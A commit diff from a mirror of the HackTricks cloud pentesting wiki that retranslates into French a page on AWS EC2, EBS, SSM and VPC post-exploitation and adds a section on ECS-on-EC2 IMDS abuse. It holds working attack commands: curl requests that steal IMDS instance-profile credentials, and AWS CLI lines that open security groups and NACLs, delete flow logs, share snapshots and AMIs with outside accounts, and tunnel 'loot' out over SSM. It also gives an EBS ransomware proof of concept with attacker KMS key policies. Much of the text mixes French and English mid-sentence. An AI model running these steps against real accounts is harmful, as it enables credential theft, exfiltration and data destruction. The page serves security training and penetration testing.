mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+104
-64
@@ -1,29 +1,29 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post-exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Miroir VPC malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** sans besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est généralement envoyé vers, par exemple, un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait abuser de cela pour capturer l'intégralité du trafic et en extraire des informations sensibles :
|
||||
Le traffic mirroring VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans nécessiter d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est couramment envoyé vers un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
|
||||
Un attaquant pourrait abuser de cela pour capturer tout le trafic et en extraire des informations sensibles :
|
||||
|
||||
Pour plus d'informations, consultez cette page :
|
||||
For more information check this page:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copier une instance en cours d'exécution
|
||||
### Copy Running Instance
|
||||
|
||||
Les instances contiennent généralement des informations sensibles. Il existe différentes manières d'y pénétrer (voir [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre façon de vérifier ce qu'elle contient est de **create an AMI and run a new instance (even in your own account) from it** :
|
||||
Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Cependant, une autre façon d'examiner ce qu'elles contiennent est de **créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** :
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, qui contiennent généralement **des données sensibles**, donc les vérifier devrait divulguer ces informations.\
|
||||
Si vous trouvez un **volume without a snapshot** vous pouvez : **Create a snapshot** et effectuer les actions suivantes ou simplement **mount it in an instance** dans le compte :
|
||||
**Les snapshots sont des sauvegardes de volumes**, qui contiennent généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\
|
||||
Si vous trouvez un **volume sans snapshot** vous pouvez : **créer un snapshot** et effectuer les actions suivantes ou simplement **le monter dans une instance** à l'intérieur du compte :
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporter un EC2 AMI directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une raw disk image sans snapshot sharing. Cela permet des forensics offline complets ou du data theft tout en laissant le réseau de l'instance inchangé.
|
||||
Exporter une AMI EC2 directement vers S3 en utilisant `CreateStoreImageTask` pour obtenir une image disque brute sans partage de snapshot. Cela permet une forensique hors ligne complète ou le vol de données tout en laissant la mise en réseau de l'instance intacte.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des live data sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
|
||||
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en direct sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.
|
||||
Créer un EC2 Instance Connect Endpoint, autoriser l'ingress, et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Déplacer l'IP privée secondaire d'un ENI victime vers un ENI contrôlé par l'attaquant pour usurper des hôtes de confiance allowlisted par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.
|
||||
Déplacer l'adresse IP privée secondaire d'un ENI victime vers un ENI contrôlé par l'attaquant pour usurper des hôtes de confiance allowlistés par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Réassocier une Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
Réassocier un Elastic IP de l'instance victime à l'attaquant afin d'intercepter le trafic entrant ou d'initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Si une règle de security group référence une customer-managed prefix list, ajouter des CIDRs d'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui‑même.
|
||||
Si une règle de security group référence une customer-managed prefix list, ajouter des CIDR de l'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des AWS-managed private links permet de contourner l'absence d'IGW/NAT pour l'exfiltration de données.
|
||||
Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des AWS-managed private links contourne l'absence de contrôles IGW/NAT pour l'exfiltration de données.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des règles inbound aux security groups (par exemple autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi les services internes à l'Internet public ou à des réseaux non autorisés.
|
||||
Un attaquant disposant de la permission `ec2:AuthorizeSecurityGroupIngress` peut ajouter des règles entrantes aux security groups (par exemple, autoriser `tcp:80` depuis `0.0.0.0/0`), exposant ainsi des services internes à l'Internet public ou à des réseaux autrement non autorisés.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Un attacker disposant de la permission ec2:ReplaceNetworkAclEntry (ou d'une permission similaire) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre très permissifs — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi toute la plage du subnet à Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués per-instance, les NACLs sont appliqués au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon d’impact beaucoup plus large en permettant l’accès à beaucoup plus d’hôtes.
|
||||
Un attaquant disposant des permissions ec2:ReplaceNetworkAclEntry (ou similaires) peut modifier les Network ACLs (NACLs) d'un sous-réseau pour les rendre très permissives — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi l'ensemble de la plage du sous-réseau à l'Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués par instance, les NACLs sont appliqués au niveau du sous-réseau, donc modifier un NACL restrictif peut avoir un rayon d'impact beaucoup plus large en permettant l'accès à bien plus d'hôtes.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,49 +131,87 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d'infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou rules, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.
|
||||
Un attaquant disposant des permissions `ec2:Delete*` et `iam:Remove*` peut supprimer des ressources d'infrastructure et des configurations critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
### VPC Flow Logs Exfiltration inter-compte
|
||||
|
||||
Pointez VPC Flow Logs vers un S3 bucket contrôlé par l'attaquant pour collecter en continu les métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
### Exfiltration de données
|
||||
|
||||
#### DNS Exfiltration
|
||||
#### Exfiltration DNS
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
Même si vous verrouillez une EC2 pour empêcher tout trafic sortant, elle peut toujours **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- **VPC Flow Logs ne l'enregistreront pas.**
|
||||
- Vous n'avez pas accès aux logs DNS AWS.
|
||||
- Désactivez ceci en réglant "enableDnsSupport" à false avec:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
#### Exfiltration via appels API
|
||||
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
Un attaquant pourrait appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
### Security group ouvert
|
||||
|
||||
You could get further access to network services by opening ports like this:
|
||||
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
### Privesc vers ECS
|
||||
|
||||
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour être utilisée afin d'exécuter des instances ECS, puis de voler les données des instances ECS.
|
||||
|
||||
Pour [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
Pour [**plus d'informations, voir ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Une compromission à l'intérieur de n'importe quelle tâche ECS s'exécutant sur une instance conteneur EC2 suffit typiquement à pivoter vers le rôle host et les rôles IAM associés à toutes les autres tâches de ce nœud. Parce qu'il n'y a **pas d'isolation des tâches pour ECS-on-EC2**, chaque tâche peut interroger par défaut le EC2 Instance Metadata Service (IMDS), voler le instance profile de la container instance, puis parler le même protocole WebSocket que l'agent ECS utilise vers le control plane (le **ECScape** primitive) pour demander les credentials de chaque tâche actuellement planifiée sur cet hôte. Latacora a documenté ce workflow dans leur [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), que le résumé offensif suivant condense.
|
||||
|
||||
#### Chaîne d'attaque
|
||||
|
||||
1. **Voler le instance profile depuis l'intérieur du conteneur.** Supposons qu'IMDSv2 soit requis, donc demandez un token puis récupérez le profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Utiliser le rôle de la container instance pour usurper l'agent ECS.** Avec ces credentials vous pouvez parler au canal WebSocket non documenté que l'agent ECS utilise ; le control plane vous fait confiance en tant que véritable agent et délivre **tous les credentials IAM des tâches** à votre processus. Vous pouvez maintenant exécuter localement des tâches à privilèges supérieurs, dumper les secrets d'environnement des tâches, ou mettre à jour services/tasks pour redéployer des workloads que vous pouvez inspecter entièrement.
|
||||
|
||||
#### Atteignabilité d'IMDS avec IMDSv2 + hop limit 1
|
||||
|
||||
Configurer IMDSv2 avec `HttpTokens=required` et `HttpPutResponseHopLimit=1` ne bloque que les tâches qui vivent derrière un saut supplémentaire (Docker bridge). Les autres modes réseau restent à un seul saut du Nitro controller et reçoivent toujours des réponses :
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Chaque tâche obtient sa propre ENI qui est toujours à un saut de l'IMDS, donc les tokens et les réponses metadata arrivent correctement. |
|
||||
| `host` | ✅ | Les tâches partagent le namespace de l'hôte, donc elles voient la même distance en sauts que l'instance EC2. |
|
||||
| `bridge` | ❌ | Les réponses meurent sur le Docker bridge car ce saut supplémentaire épuise le hop limit. |
|
||||
|
||||
Donc, **ne supposez jamais que hop limit 1 protège les workloads awsvpc ou host-mode** — testez toujours depuis l'intérieur de vos conteneurs.
|
||||
|
||||
#### Détecter les blocages d'IMDS par mode réseau
|
||||
|
||||
- **awsvpc tasks :** Les security groups, NACLs ou ajustements de routage ne peuvent pas bloquer l'adresse link-local 169.254.169.254 parce que Nitro l'injecte sur l'hôte. Vérifiez `/etc/ecs/ecs.config` pour `ECS_AWSVPC_BLOCK_IMDS=true`. Si le flag est absent (valeur par défaut) vous pouvez curl IMDS directement depuis la tâche. Si il est défini, pivotez dans le namespace host/agent pour le rétablir ou exécutez vos outils en dehors d'awsvpc.
|
||||
|
||||
- **bridge mode :** Quand les requêtes metadata échouent même si hop limit 1 est configuré, les défenseurs ont probablement inséré une règle DROP `DOCKER-USER` telle que `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Lister `iptables -S DOCKER-USER` l'expose, et un accès root vous permet de supprimer ou de réordonner la règle avant d'interroger IMDS.
|
||||
|
||||
- **host mode :** Inspectez la configuration de l'agent pour `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ce réglage supprime complètement les task IAM roles, donc vous devez soit le réactiver, passer à des tâches awsvpc, soit voler des credentials via un autre processus sur l'hôte. Quand la valeur est `true` (par défaut), chaque process en host-mode — y compris les conteneurs compromis — peut atteindre IMDS à moins que des filtres eBPF/cgroup sur-mesure ciblent `169.254.169.254` ; cherchez des programmes tc/eBPF ou des règles iptables référant cette adresse.
|
||||
|
||||
Latacora a même publié [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) que vous pouvez déposer dans un compte cible pour énumérer quels modes réseau exposent encore les metadata et planifier votre prochain saut en conséquence.
|
||||
|
||||
Une fois que vous comprenez quels modes exposent IMDS, vous pouvez planifier votre chemin de post-exploitation : ciblez n'importe quelle tâche ECS, demandez le instance profile, usurpez l'agent, et récoltez les rôles de toutes les autres tâches pour mouvement latéral ou persistance à l'intérieur du cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
@@ -181,23 +219,23 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Permissions requises :
|
||||
Autorisations requises :
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
En plus de l'exécution de commandes, SSM permet le tunneling de trafic, qui peut être abusé pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
|
||||
Un des scénarios où cela est utile est de pivoter depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un EKS cluster privé.
|
||||
En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoting depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
|
||||
Un des scénarios où cela est utile est le pivoting depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
|
||||
|
||||
> Pour démarrer une session, vous devez avoir le SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installez le SessionManagerPlugin sur votre machine
|
||||
2. Connectez-vous au Bastion EC2 en utilisant la commande suivante:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtenez les credentials temporaires AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférez les credentials sur votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
5. Connectez-vous à EKS en tant que Bastion EC2:
|
||||
3. Récupérer les identifiants temporaires AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transférer les identifiants vers votre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
|
||||
5. Se connecter à EKS en tant que Bastion EC2 :
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
@@ -212,37 +250,37 @@ kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Notez que les connexions SSL échoueront à moins que vous ne définissiez le flag `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaque MitM.
|
||||
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
|
||||
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée.
|
||||
|
||||
---
|
||||
|
||||
#### Transfert de port rapide Local ↔️ Remote (AWS-StartPortForwardingSession)
|
||||
#### Transfert de port rapide Local ↔️ distant (AWS-StartPortForwardingSession)
|
||||
|
||||
Si vous n'avez besoin que de transférer **un seul port TCP depuis l'instance EC2 vers votre machine locale** vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
|
||||
Si vous avez seulement besoin de rediriger **un seul port TCP depuis l'instance EC2 vers votre hôte local** vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre hôte distant requis) :
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
La commande établit un tunnel bidirectionnel entre votre poste de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles Security-Group entrantes**.
|
||||
La commande établit un tunnel bidirectionnel entre votre workstation (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles Security-Group entrantes**.
|
||||
|
||||
Cas d'utilisation courants :
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire destiné à l'exfiltration :
|
||||
1. Sur l'instance, démarrez un serveur HTTP rapide pointant vers le répertoire que vous voulez exfiltrer :
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Depuis votre poste de travail, récupérez les fichiers via le tunnel SSM :
|
||||
2. Depuis votre workstation, récupérez les fichiers via le tunnel SSM :
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accès aux applications web internes (par ex. Nessus)**
|
||||
* **Accès aux applications web internes (ex. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Astuce : compressez et chiffrez les preuves avant exfiltrating, afin que CloudTrail n'enregistre pas le contenu clear-text :
|
||||
Astuce : compressez et chiffrez les preuves avant exfiltrating afin que CloudTrail n'enregistre pas le contenu en clair :
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -261,17 +299,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Rechercher des informations sensibles dans des AMIs publiques et privées
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **chercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes, et le scan à la recherche de secrets potentiels ou de données sensibles.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes et l'analyse à la recherche de secrets potentiels ou de données sensibles.
|
||||
|
||||
### Partager un EBS Snapshot
|
||||
### Partager EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS (Ransomware Management Service) tant il est facile à utiliser pour chiffrer divers services AWS.
|
||||
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service, tant il est facile à utiliser pour chiffrer divers services AWS.
|
||||
|
||||
D'abord depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gérer les données de clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à n'importe quel Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout l'accès s'appelle 'Outside Encryption'
|
||||
Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Dans cet exemple, nous laisserons AWS gérer les données de la clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant l'accès total s'appelle 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +401,7 @@ D'abord depuis un compte AWS 'attacker', créez une customer managed key dans KM
|
||||
]
|
||||
}
|
||||
```
|
||||
La key policy doit avoir les éléments suivants activés pour permettre son utilisation afin de chiffrer un volume EBS :
|
||||
La key policy doit avoir les actions suivantes activées pour permettre de l'utiliser pour chiffrer un volume EBS :
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +409,21 @@ La key policy doit avoir les éléments suivants activés pour permettre son uti
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Avec la clé publiquement accessible prête à l'emploi. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont notre cible pour le chiffrement ; cette attaque suppose la compromission d'un compte AWS à hauts privilèges.
|
||||
Maintenant que la clé publiquement accessible est disponible. Nous pouvons utiliser un compte 'victim' qui contient des instances EC2 démarrées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont la cible de notre chiffrement ; cette attaque se déroule sous l'hypothèse d'une compromission d'un compte AWS à privilèges élevés.
|
||||
|
||||
 
|
||||
|
||||
Similaire à l'exemple de ransomware sur S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
Similaire à l'exemple S3 ransomware. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, détacher ensuite les volumes EBS originaux des instances EC2 et les supprimer, puis enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
|
||||
Il en résulte que seuls des volumes EBS chiffrés restent disponibles dans le compte.
|
||||
Cela a pour résultat que seuls des volumes EBS chiffrés restent disponibles dans le compte.
|
||||
|
||||
|
||||
|
||||
À noter également : le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont été supprimés.
|
||||
Il est également important de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont été supprimés.
|
||||
|
||||
|
||||
|
||||
Ensuite, retournez à la key policy du compte 'attacker' et supprimez la règle de policy 'Outside Encryption' de la key policy.
|
||||
Ensuite, revenez à la key policy du compte 'attacker' et supprimez la règle 'Outside Encryption' de cette key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +494,15 @@ Ensuite, retournez à la key policy du compte 'attacker' et supprimez la règle
|
||||
]
|
||||
}
|
||||
```
|
||||
